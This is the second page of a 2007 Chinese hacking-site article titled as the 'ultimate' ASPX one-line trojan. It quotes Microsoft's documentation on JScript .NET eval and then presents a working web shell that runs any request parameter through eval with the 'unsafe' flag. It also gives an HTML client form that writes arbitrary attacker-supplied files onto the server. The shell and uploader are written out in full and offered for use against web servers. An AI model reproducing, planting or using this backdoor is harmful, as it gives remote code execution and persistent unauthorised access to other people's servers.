木马我们一样可以实现!因为有Jscript.net的存在!">
黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 木马天地 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]ASPX一句话木马--终极版&详细分析(ASP-EXECUTE VS ASPX-EVAL)
      ★★★★★

ASPX一句话木马--终极版&详细分析(ASP-EXECUTE VS ASPX-EVAL)

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2007-8-11 10:43:14

错误原因:
{
安全性异常
说明: 应用程序试图执行安全策略不允许的操作。要授予此应用程序所需的权限,请与系统管理员联系,或在配置文件中更改该应用程序的信任级别。
异常详细信息: System.Security.SecurityException: 请求失败。
}
为什么会这样呢?OK我们找到 MS文档

往下面看http://msdn.microsoft.com/library/chs/default.asp?url=/library/CHS/jscript7/html/jsmscStartPage.asp

JScript .NET

JScript .NET 的新增功能
JScript .NET 是下一代的 Microsoft JScript 语言,它是使用 Web 语言方便快捷地访问 Microsoft .NET 平台的一种方法。JScript 的主要作用是使用 ASP.NET 构造 Web 站点和使用 .NET Framework 脚本自定义应用程序。

JScript .NET 与 ECMAScript 标准兼容,而且它还具有 ECMAScript 未指定的其他功能,例如,真正的编译代码、通过符合“通用语言规范”(CLS) 而实现的跨语言支持,以及对 .NET Framework 的访问。

Visual Studio .NET 2002 中的 JScript .NET 版本充分利用了 .NET Framework 本身所具有的安全性,而 JScript .NET 2003 为 eval 方法添加了受限安全上下文,从而进一步增强了安全性。

在 JScript .NET 中的几种新功能旨在充分利用 CLS,这是用来标准化数据类型、对象公开方式、对象互用方式等内容的一组规则。任何符合 CLS 的语言都可以使用在 JScript .NET 中创建的类、对象和组件。作为 JScript 开发人员,您可以从其他符合 CLS 的编程语言访问类、组件和对象,而无需考虑语言特定的差异(比如数据类型)。JScript .NET 程序使用的一些 CLS 功能包括命名空间、属性、引用参数和本机数组。

下面是 JScript .NET 中的一些新功能:

JScript .NET 2003 的新增功能
eval 方法的受限安全上下文
现在,为了增强安全性,不管调用方的权限是什么,内置的 eval 方法都默认下在受限安全上下文中运行脚本。调用 eval 时如果将“unsafe”作为第二个可选参数,会导致脚本使用调用方的权限运行,这样就会允许访问文件系统、网络或用户界面。有关更多信息,请参见 eval 方法。
JScript .NET 2002 的新增功能

基于类的对象
JScript .NET(像 JScript 一样)通过基于原型的对象支持继承。JScript .NET 还允许声明定义对象数据和行为的类,从而支持基于类的对象。在 JScript .NET 中创建的类可由任何 .NET 语言使用和扩展。类可以继承基类的属性和方法。可以对类和类成员应用几种属性,修改它们的行为和可见性。有关更多信息,请参见基于类的对象。

JScript 数据类型
在 JScript .NET 中(像 JScript 一样),可以在编写程序时不指定变量的数据类型。JScript .NET 也可用作一种强类型化语言,其中所有变量都绑定到特定数据类型,或者您还可以混合使用类型化和非类型化变量。JScript .NET 提供了许多新的数据类型。还可以将类和 .NET 类型用作数据类型。有关更多信息,请参见 JScript 数据类型。

条件编译
指令可控制 JScript .NET 程序的编译。例如,@debug 指令可以为脚本的特定部分打开或关闭调试信息的发布。有关更多信息,请参见 @debug 指令。@position 指令为调试器设置当前行的行号。有关更多信息,请参见 @position 指令。如果正在编写将合并到其他脚本中的代码,那么这两个指令都是有用的。有关更多信息,请参见条件编译。

JScript 命名空间
命名空间通过将类、接口和方法组织成层次结构来防止命名冲突。在 JScript .NET 中,您可以定义自己的命名空间。还可以使用 JScript .NET 访问任何 .NET Framework 命名空间,包括自己定义的那些命名空间。包语句允许打包相关的类以实现方便的部署和避免出现命名冲突。有关更多信息,请参见 package 语句。导入语句使得 .NET Framework 命名空间可用于某个脚本,这样该脚本就能访问命名空间中的类和接口。有关更多信息,请参见 import 语句。

JScript 变量和常数
JScript .NET 引入了一个 Const 语句,用来定义表示常数值的标识符。有关更多信息,请参见 JScript 变量和常数。

枚举
JScript .NET 引入了 Enum 语句,允许构造枚举数据类型。利用枚举,可以为您的数据类型值指定有用的名称。有关更多信息,请参见 enum 语句。
再来找到 eval方法

http://msdn.microsoft.com/library/chs/default.asp?url=/library/CHS/jscript7/html/jsmtheval.asp

JScript .NET

eval 方法
计算 JScript 代码并执行。

function eval(codeString : String [, override : String])
参数
codeString
必选。包含有效 JScript 代码的字符串。
override
可选。确定要应用于 codeString 中代码的安全权限的字符串。
备注
eval 函数允许动态执行 JScript 源代码。

传递给 eval 方法的代码执行时所在的上下文和调用 eval 方法时的上下文一样。请注意,在 eval 语句中定义的新变量或类型对于封闭程序是不可见的。

除非将字符串“unsafe”传递为第二个参数,否则,传递至 eval 方法的代码在受限安全上下文中执行。受限安全上下文禁止访问系统资源,如文件系统、网络或用户界面。如果代码试图访问这些资源,则会产生安全异常。

当 eval 的第二个参数为字符串“unsafe”时,传递给 eval 方法的代码在调用代码所在的安全上下文中执行。第二个参数是区分大小写的,因此,字符串“Unsafe”或“UnSAfE”不会重写受限安全上下文。

安全说明 在不安全的模式下,eval 只能用于执行从值得信任的源获得的代码字符串。

原来eval 给限制了安全性~呵呵那我们就照他说的去做加入 unsafe参数实现

以下是引用片段:
<%@ Page Language="Jscript"%><%Response.Write(eval(Request.Item["z"],"unsafe"));%>
OK
提交
以下是引用片段:
http://127.0.0.1/test.aspx?z=Server.MapPath(".")
打印出 F:\nonamed\DOTNETPROJECT 是我当前的WEB目录 成功了! 热泪ing~~~ 也就是你提交什么上去他就运行什么 恢复当年ASP后门的效果了!~ -_-
Response.Write可以不要!不过我为了回显 所以加上去了 :)
OK 以下我们构造出 一句话的客户端吧!
以下是引用片段:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE> ASPX one line Code Client</TITLE>
</HEAD>
<BODY>
<form action=http://127.0.0.1/test.aspx method=post>
<textarea name=z cols=120 rows=10 width=45>
var nonamed=new System.IO.StreamWriter(Server.MapPath("nonamed.aspx"),false);
nonamed.Write(Request.Item["l"]);
nonamed.Close();
</textarea>
<textarea name=l cols=120 rows=10 width=45>your code</textarea><BR><center><br>
<input type=submit value=提交>
</BODY>
</HTML>
全文完.....

上一页  [1] [2] 

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886